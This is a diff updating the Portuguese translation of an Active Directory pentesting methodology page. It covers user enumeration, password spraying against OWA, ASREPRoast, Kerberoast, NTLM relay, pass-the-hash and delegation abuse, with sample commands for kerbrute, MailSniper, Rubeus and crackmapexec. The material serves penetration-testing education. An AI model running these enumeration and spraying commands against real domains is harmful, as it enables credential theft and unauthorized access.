+- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
+- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
+- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
+- Um guia mais detalhado sobre como enumerar um servidor SMB pode ser encontrado aqui:


 {{#ref}}
 ../../network-services-pentesting/pentesting-smb/
 {{#endref}}

- **Enumerate Ldap**
-  - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
-  - Um guia mais detalhado sobre como enumerar LDAP pode ser encontrado aqui (preste **especial atenção ao acesso anônimo**):
+- **Enumerar Ldap**
+- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
+- Um guia mais detalhado sobre como enumerar LDAP pode ser encontrado aqui (preste **atenção especial ao acesso anônimo**):


 {{#ref}}
@ -69,21 +69,21 @@ Se você tem apenas acesso ao ambiente do AD mas não possui credenciais/sessõe
 {{#endref}}

 - **Poison the network**
-  - Coletar credenciais [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
-  - Acessar hosts abusando do [**relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
-  - Coletar credenciais **expondo** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Coletar credenciais [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Acessar host [**abusando do relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Coletar credenciais **expondo** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
-  - Extrair usernames/nomes de documentos internos, redes sociais, serviços (principalmente web) dentro dos ambientes do domínio e também os disponíveis publicamente.
-  - Se você encontrar os nomes completos dos funcionários da empresa, pode tentar diferentes convenções de **username do AD** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). As convenções mais comuns são: _NameSurname_, _Name.Surname_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
-  - Ferramentas:
-    - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
-    - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
+- Extrair nomes de usuário/nomes a partir de documentos internos, redes sociais, serviços (principalmente web) dentro dos ambientes de domínio e também a partir do que está publicamente disponível.
+- Se você encontrar os nomes completos de funcionários da empresa, você pode tentar diferentes convenções de **username** do AD (**[read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)**). As convenções mais comuns são:** _NameSurname_, _Name.Surname_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
+- Ferramentas:
+- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
+- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### User enumeration
+### Enumeração de usuários

 - **Anonymous SMB/LDAP enum:** Consulte as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Quando um **username inválido é solicitado** o servidor responderá usando o **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo determinar que o username era inválido. **Usernames válidos** provocarão ou o **TGT in a AS-REP** response ou o erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário é requerido a realizar pre-authentication.
- **No Authentication against MS-NRPC**: Usando auth-level = 1 (No authentication) contra a interface MS-NRPC (Netlogon) em domain controllers. O método chama a função `DsrGetDcNameEx2` depois de fazer bind na interface MS-NRPC para verificar se o usuário ou computador existe sem quaisquer credenciais. A ferramenta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa esse tipo de enumeração. A pesquisa pode ser encontrada [aqui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Kerbrute enum**: Quando um **username inválido é solicitado** o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o username é inválido. **Usernames válidos** provocarão ou o **TGT em um AS-REP** ou o erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário precisa realizar pre-authentication.
+- **No Authentication against MS-NRPC**: Usando auth-level = 1 (No authentication) contra a interface MS-NRPC (Netlogon) em domain controllers. O método chama a função `DsrGetDcNameEx2` após bind da interface MS-NRPC para verificar se o usuário ou computador existe sem qualquer credencial. A ferramenta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeração. A pesquisa pode ser encontrada [aqui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers
 crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
 python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
 ```
- **OWA (Outlook Web Access) Server**
+- **OWA (Outlook Web Access) Servidor**

-Se você encontrar um desses servidores na rede, você também pode realizar **user enumeration** contra ele. Por exemplo, você pode usar a ferramenta [**MailSniper**](https://github.com/dafthack/MailSniper):
+Se encontrar um desses servidores na rede, também pode realizar **enumeração de usuários** nele. Por exemplo, pode usar a ferramenta [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Você pode encontrar listas de nomes de usuário em [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) e neste ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Você pode encontrar listas de usernames em [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> No entanto, você deve ter o **nome das pessoas que trabalham na empresa** a partir da etapa de recon que você deveria ter realizado antes. Com nome e sobrenome você pode usar o script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para gerar potenciais nomes de usuário válidos.
+> Entretanto, você deve ter o **nome das pessoas que trabalham na empresa** a partir da etapa de recon que deveria ter realizado antes disto. Com o nome e sobrenome você poderia usar o script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para gerar potenciais usernames válidos.

 ### Knowing one or several usernames

-Ok, então você já sabe que tem um nome de usuário válido mas sem senhas... Então tente:
+Ok, então você já sabe que tem um username válido mas sem senhas... Então tente:

- [**ASREPRoast**](asreproast.md): Se um usuário **não tem** o atributo _DONT_REQ_PREAUTH_ você pode **solicitar uma AS_REP message** para esse usuário que conterá alguns dados criptografados por uma derivação da senha do usuário.
+- [**ASREPRoast**](asreproast.md): Se um usuário **não possui** o atributo _DONT_REQ_PREAUTH_ você pode **solicitar uma mensagem AS_REP** para esse usuário que conterá alguns dados criptografados por uma derivação da senha do usuário.
 - [**Password Spraying**](password-spraying.md): Vamos tentar as senhas mais **comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha fraca (lembre-se da política de senhas!).
- Note que você também pode **spray OWA servers** para tentar obter acesso aos servidores de mail dos usuários.
+- Note que você também pode **spray OWA servers** para tentar acessar os servidores de e-mail dos usuários.


 {{#ref}}
@ -129,7 +129,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Você pode ser capaz de **obter** alguns challenge hashes para crackear, fazendo poisoning em alguns protocolos da **rede**:
+Você pode ser capaz de **obter** alguns **hashes** de challenge para quebrar, envenenando alguns protocolos da **rede**:


 {{#ref}}
@ -138,11 +138,11 @@ Você pode ser capaz de **obter** alguns challenge hashes para crackear, fazendo

 ### NTLM Relay

-Se você conseguiu enumerar o Active Directory, terá **mais emails e uma melhor compreensão da rede**. Você pode ser capaz de forçar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) para obter acesso ao AD env.
+Se você conseguiu enumerar o Active Directory você terá **mais e-mails e um entendimento melhor da rede**. Você pode ser capaz de forçar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) para obter acesso ao ambiente AD.

 ### Steal NTLM Creds

-Se você puder **acessar outros PCs ou shares** com o usuário **null ou guest** você poderia **colocar arquivos** (como um SCF file) que, se de alguma forma acessados, irão **trigger uma autenticação NTLM contra você** para que você possa **steal** o **NTLM challenge** para cracká-lo:
+Se você puder **acessar outros PCs ou shares** com o **null ou guest user** você poderia **colocar arquivos** (como um arquivo SCF) que, se de alguma forma acessados, irão **acionar uma autenticação NTLM contra você** para que você possa **roubar** o **challenge NTLM** para quebrá-lo:


 {{#ref}}
@ -151,9 +151,9 @@ Se você puder **acessar outros PCs ou shares** com o usuário **null ou guest**

 ## Enumerating Active Directory WITH credentials/session

-Para esta fase você precisa ter **comprometido as credenciais ou uma sessão de uma conta de domínio válida.** Se você tem algumas credenciais válidas ou um shell como um usuário de domínio, **lembre-se que as opções dadas antes ainda são opções para comprometer outros usuários**.
+Para esta fase você precisa ter **comprometido as credenciais ou uma sessão de uma conta de domínio válida.** Se você tem algumas credenciais válidas ou um shell como um usuário de domínio, **deve lembrar que as opções apresentadas antes ainda são opções para comprometer outros usuários**.

-Antes de iniciar a enumeração autenticada você deve saber qual é o problema do Kerberos double hop.
+Antes de iniciar a enumeração autenticada você deve conhecer o **problema do Kerberos double hop.**


 {{#ref}}
@ -162,31 +162,31 @@ kerberos-double-hop-problem.md

 ### Enumeration

-Ter comprometido uma conta é um **grande passo para começar a comprometer todo o domínio**, porque você vai poder começar a **Active Directory Enumeration:**
+Ter comprometido uma conta é um **grande passo para começar a comprometer todo o domínio**, pois você poderá iniciar a **enumeração do Active Directory:**

-Quanto ao [**ASREPRoast**](asreproast.md) agora você pode encontrar todos os possíveis usuários vulneráveis, e quanto ao [**Password Spraying**](password-spraying.md) você pode obter uma **lista de todos os nomes de usuário** e tentar a senha da conta comprometida, senhas vazias e novas senhas promissoras.
+Em relação ao [**ASREPRoast**](asreproast.md) você agora pode encontrar todos os usuários possivelmente vulneráveis, e em relação ao [**Password Spraying**](password-spraying.md) você pode obter uma **lista de todos os usernames** e tentar a senha da conta comprometida, senhas vazias e novas senhas promissoras.

- Você poderia usar o [**CMD para realizar um recon básico**](../basic-cmd-for-pentesters.md#domain-info)
- Você também pode usar [**powershell para recon**](../basic-powershell-for-pentesters/index.html) que será mais stealthy
- Você também pode [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
- Outra ferramenta incrível para recon em Active Directory é [**BloodHound**](bloodhound.md). Não é **muito stealthy** (dependendo dos métodos de coleta que você usar), mas **se você não se importa** com isso, deveria experimentá-la. Encontre onde usuários podem RDP, encontre caminhos para outros grupos, etc.
- **Outras ferramentas automatizadas de enumeração AD são:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Registros DNS do AD**](ad-dns-records.md) pois podem conter informações interessantes.
- Uma **ferramenta com GUI** que você pode usar para enumerar o diretório é **AdExplorer.exe** da **SysInternal** Suite.
- Você também pode procurar no banco LDAP com **ldapsearch** para procurar credenciais nos campos _userPassword_ & _unixUserPassword_, ou até em _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
+- Você pode usar o [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
+- Você também pode usar [**powershell for recon**](../basic-powershell-for-pentesters/index.html) que será mais furtivo
+- Você também pode [**use powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
+- Outra ferramenta incrível para recon em um Active Directory é [**BloodHound**](bloodhound.md). Ela é **not very stealthy** (dependendo dos métodos de coleta que você usar), mas **if you don't care** sobre isso, você deveria definitivamente experimentar. Encontre onde usuários podem RDP, encontre caminhos para outros grupos, etc.
+- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
+- [**DNS records of the AD**](ad-dns-records.md) pois eles podem conter informação interessante.
+- Uma **tool with GUI** que você pode usar para enumerar o diretório é **AdExplorer.exe** da suíte **SysInternal**.
+- Você também pode buscar na base LDAP com **ldapsearch** para procurar credenciais nos campos _userPassword_ & _unixUserPassword_, ou até em _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
 - Se você está usando **Linux**, você também pode enumerar o domínio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
- Você também poderia tentar ferramentas automatizadas como:
+- Você também pode tentar ferramentas automatizadas como:
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extraindo todos os usuários do domínio**
+- **Extracting all domain users**

-É muito fácil obter todos os nomes de usuário do domínio no Windows (`net user /domain` ,`Get-DomainUser` ou `wmic useraccount get name,sid`). No Linux, você pode usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
+É muito fácil obter todos os usernames do domínio a partir do Windows (`net user /domain` ,`Get-DomainUser` ou `wmic useraccount get name,sid`). No Linux, você pode usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`

-> Mesmo que esta seção de Enumeration pareça pequena, esta é a parte mais importante de todas. Acesse os links (principalmente os de cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante um assessment, este será o momento-chave para encontrar seu caminho até DA ou para decidir que nada pode ser feito.
+> Mesmo que esta seção de Enumeração pareça pequena, esta é a parte mais importante de todas. Acesse os links (principalmente os de cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante uma avaliação, este será o momento-chave para encontrar seu caminho até DA ou para decidir que nada pode ser feito.

 ### Kerberoast

-Kerberoasting envolve obter **TGS tickets** usados por serviços ligados a contas de usuário e crackear sua encriptação — que é baseada nas senhas dos usuários — de forma **offline**.
+Kerberoasting envolve obter **TGS tickets** usados por serviços ligados a contas de usuário e quebrar sua criptografia — que é baseada nas senhas dos usuários — **offline**.

 Mais sobre isso em:

@ -197,17 +197,17 @@ kerberoast.md

 ### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Uma vez que você obteve algumas credenciais você pode verificar se tem acesso a alguma **máquina**. Para isso, você pode usar **CrackMapExec** para tentar conectar em vários servidores com diferentes protocolos, de acordo com suas varreduras de portas.
+Uma vez que você tenha obtido algumas credenciais, você pode verificar se tem acesso a alguma **machine**. Para isso, você pode usar **CrackMapExec** para tentar conectar em vários servidores com diferentes protocolos, de acordo com seus scans de portas.

 ### Local Privilege Escalation

-Se você comprometeu credenciais ou uma sessão como um usuário de domínio regular e você tem **acesso** com esse usuário a **qualquer máquina no domínio**, você deveria tentar encontrar uma forma de **escalar privilégios localmente e saquear por credenciais**. Isso porque somente com privilégios de administrador local você será capaz de **dump hashes de outros usuários** na memória (LSASS) e localmente (SAM).
+Se você tem credenciais comprometidas ou uma sessão como um usuário de domínio regular e possui **acesso** com esse usuário a **qualquer máquina do domínio**, você deve tentar encontrar uma forma de **escalar privilégios localmente e saquear credenciais**. Isso porque somente com privilégios de administrador local você será capaz de **extrair hashes de outros usuários** na memória (LSASS) e localmente (SAM).

 Há uma página completa neste livro sobre [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) e um [**checklist**](../checklist-windows-privilege-escalation.md). Além disso, não esqueça de usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).

 ### Current Session Tickets

-É muito **improvável** que você encontre **tickets** no usuário atual que lhe dêem permissão para acessar recursos inesperados, mas você pode verificar:
+É muito **improvável** que você encontre **tickets** no usuário atual que **lhe concedam permissão para acessar** recursos inesperados, mas você pode verificar:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,18 +217,17 @@ Há uma página completa neste livro sobre [**local privilege escalation in Wind
 ```
 ### NTLM Relay

-Se você conseguiu enumerar o Active Directory terá **mais emails e uma melhor compreensão da rede**. Você pode conseguir forçar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Se você conseguiu enumerar o Active Directory terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

-### Looks for Creds in Computer Shares | SMB Shares
+### Procure Creds em Computer Shares | SMB Shares

-Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** quaisquer **arquivos interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito chata e repetitiva (e ainda mais se encontrar centenas de docs que precisa checar).
+Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** quaisquer **arquivos interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito entediante e repetitiva (ainda mais se encontrar centenas de docs que precisa checar).

 [**Siga este link para aprender sobre ferramentas que você pode usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-Se você puder **acessar outros PCs ou shares** você pode **colocar arquivos** (como um arquivo SCF) que, se de alguma forma acessados, vão **disparar uma autenticação NTLM contra você** para que você possa **steal** o **NTLM challenge** para crackear:
-
+Se você pode **acessar outros PCs ou shares** você poderia **colocar arquivos** (como um SCF file) que se de alguma forma acessados vão **trigger an NTLM authentication against you** para que você possa **steal** o **NTLM challenge** para crackear:

 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
@ -236,8 +235,7 @@ Se você puder **acessar outros PCs ou shares** você pode **colocar arquivos**

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Essa vulnerabilidade permitia que qualquer usuário autenticado **comprometesse o controlador de domínio**.
-
+Essa vulnerabilidade permitia que qualquer usuário autenticado **comprometesse o domain controller**.

 {{#ref}}
 printnightmare.md
@ -245,24 +243,23 @@ printnightmare.md

 ## Privilege escalation on Active Directory WITH privileged credentials/session

-**Para as técnicas a seguir um usuário de domínio comum não é suficiente, você precisa de privilégios/credenciais especiais para executar esses ataques.**
+**Para as técnicas seguintes um usuário de domínio regular não é suficiente, você precisa de alguns privilégios/credenciais especiais para realizar esses ataques.**

 ### Hash extraction

-Idealmente você conseguiu **comprometer alguma conta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).  
-Então, é hora de dumpar todos os hashes na memória e localmente.  
-[**Leia esta página sobre diferentes maneiras de obter os hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+Esperançosamente você conseguiu **comprometer alguma conta de admin local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Então, é hora de dump all the hashes in memory and locally.\
+[**Leia esta página sobre diferentes formas de obter os hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Uma vez que você tenha o hash de um usuário**, você pode usá-lo para **impersonar** esse usuário.  
-Você precisa usar alguma **ferramenta** que **execute** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, assim quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.  
+**Uma vez que você tenha o hash de um usuário**, você pode usá-lo para **impersonate** o mesmo.\
+Você precisa usar alguma **ferramenta** que irá **perform the NTLM authentication using** aquele **hash**, **ou** você pode criar um novo **sessionlogon** e **inject** aquele **hash** dentro do **LSASS**, assim quando qualquer **NTLM authentication is performed**, aquele **hash será usado.** A última opção é o que mimikatz faz.\
 [**Leia esta página para mais informações.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Este ataque tem como objetivo **usar o hash NTLM do usuário para solicitar tickets Kerberos**, como uma alternativa ao comum Pass The Hash sobre o protocolo NTLM. Portanto, isso pode ser especialmente **útil em redes onde o protocolo NTLM está desabilitado** e somente **Kerberos é permitido** como protocolo de autenticação.
-
+Esse ataque tem como objetivo **usar o NTLM hash do usuário para solicitar tickets Kerberos**, como alternativa ao comum Pass The Hash sobre o protocolo NTLM. Portanto, isso pode ser especialmente **útil em redes onde o protocolo NTLM está desabilitado** e apenas **Kerberos é permitido** como protocolo de autenticação.

 {{#ref}}
 over-pass-the-hash-pass-the-key.md
@ -270,8 +267,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-No método de ataque **Pass The Ticket (PTT)**, os atacantes **roubam o ticket de autenticação de um usuário** em vez de sua senha ou valores de hash. Esse ticket roubado é então usado para **impersonar o usuário**, obtendo acesso não autorizado a recursos e serviços dentro de uma rede.
-
+No método de ataque **Pass The Ticket (PTT)**, os atacantes **roubam o ticket de autenticação de um usuário** em vez de sua senha ou valores de hash. Esse ticket roubado é então usado para **impersonate** o usuário, obtendo acesso não autorizado a recursos e serviços dentro de uma rede.

 {{#ref}}
 pass-the-ticket.md
@ -279,20 +275,20 @@ pass-the-ticket.md

 ### Credentials Reuse

-Se você tem o **hash** ou a **senha** de um **administrador local** você deve tentar **fazer login localmente** em outros **PCs** com ele.
+Se você tem o **hash** ou **password** de um **administrador local** você deve tentar **login locally** em outros **PCs** com ele.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Note que isto é bastante **ruidoso** e **LAPS** iria **mitigar** isto.
+> Note que isto gera bastante **ruído** e **LAPS** **mitigaria** isto.

 ### MSSQL Abuse & Trusted Links

-Se um usuário tem privilégios para **acessar instâncias MSSQL**, ele pode usá-las para **executar comandos** no host MSSQL (se estiver executando como SA), **roubar** o **hash** NetNTLM ou até realizar um **relay** **attack**.\
-Além disso, se uma instância MSSQL for confiável (database link) por outra instância MSSQL, se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar a relação de confiança para executar queries também na outra instância**. Essas trusts podem ser encadeadas e, em algum ponto, o usuário pode encontrar um banco de dados mal configurado onde ele pode executar comandos.\
-**Os links entre bancos de dados funcionam mesmo através de forest trusts.**
+Se um usuário tem privilégios para **acessar instâncias MSSQL**, ele pode ser capaz de usá-las para **executar comandos** no host MSSQL (se estiver rodando como SA), **roubar** o **hash** NetNTLM ou até realizar um **relay** **attack**.\
+Além disso, se uma instância MSSQL é confiável (database link) por uma instância MSSQL diferente. Se o usuário tem privilégios sobre o database confiável, ele poderá **usar a relação de confiança para executar queries também na outra instância**. Essas trusts podem ser encadeadas e em algum ponto o usuário pode encontrar um database mal configurado onde pode executar comandos.\
+**Os links entre databases funcionam mesmo através de forest trusts.**


 {{#ref}}
@ -313,8 +309,8 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Se você encontrar qualquer objeto Computer com o atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e tiver privilégios de domínio na máquina, você poderá fazer dump de TGTs da memória de todos os usuários que fizerem logon na máquina.\
-Então, se um **Domain Admin fizer logon na máquina**, você poderá extrair seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
+Se você encontrar qualquer objeto Computer com o atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e você tiver privilégios de domínio na máquina, você será capaz de dumpar TGTs da memória de todo usuário que fizer login naquela máquina.\
+Então, se um **Domain Admin fizer login na máquina**, você poderá dumpar seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
 Graças ao constrained delegation você poderia até **comprometer automaticamente um Print Server** (esperançosamente será um DC).


@ -324,8 +320,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Se um usuário ou computador estiver permitido para "Constrained Delegation" ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
-Então, se você **comprometer o hash** desse usuário/computador você será capaz de **se passar por qualquer usuário** (até domain admins) para acessar alguns serviços.
+Se um usuário ou computador está permitido para "Constrained Delegation" ele será capaz de **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
+Então, se você **comprometer o hash** desse usuário/computador você poderá **se passar por qualquer usuário** (até domain admins) para acessar certos serviços.


 {{#ref}}
@ -334,7 +330,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Ter privilégio de **WRITE** sobre um objeto Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
+Ter privilégio de **WRITE** sobre um objeto Active Directory de um computador remoto permite alcançar execução de código com **privilégios elevados**:


 {{#ref}}
@ -343,7 +339,8 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-O usuário comprometido pode ter alguns **privilégios interessantes sobre objetos de domínio** que podem permitir que você **movimente-se** lateralmente/**eleve** privilégios.
+O usuário comprometido pode ter alguns **privilégios interessantes sobre certos objetos de domínio** que poderiam permitir que você **movimente-se** lateralmente/**eleve** privilégios posteriormente.
+

 {{#ref}}
 acl-persistence-abuse/
@ -351,7 +348,7 @@ acl-persistence-abuse/

 ### Printer Spooler service abuse

-Descobrir um **Spool service escutando** dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **elevar privilégios**.
+Descobrir um **Spool service listening** dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **escalar privilégios**.


 {{#ref}}
@ -360,8 +357,8 @@ printers-spooler-service-abuse.md

 ### Third party sessions abuse

-Se **outros usuários** **acessarem** a **máquina comprometida**, é possível **coletar credenciais da memória** e até **injetar beacons em seus processos** para se passar por eles.\
-Geralmente usuários acessam o sistema via RDP, então aqui você tem como realizar alguns ataques sobre sessões RDP de terceiros:
+Se **outros usuários** **acessarem** a máquina **comprometida**, é possível **coletar credenciais da memória** e até **injetar beacons nos processos deles** para se passar por eles.\
+Geralmente os usuários acessam o sistema via RDP, então aqui está como realizar um par de ataques sobre sessões RDP de terceiros:


 {{#ref}}
@ -370,7 +367,7 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** fornece um sistema para gerenciar a **senha do Administrator local** em computadores juntados ao domínio, garantindo que seja **aleatória**, única e frequentemente **alterada**. Essas senhas são armazenadas no Active Directory e o acesso é controlado através de ACLs para usuários autorizados apenas. Com permissões suficientes para acessar essas senhas, o pivot para outros computadores se torna possível.
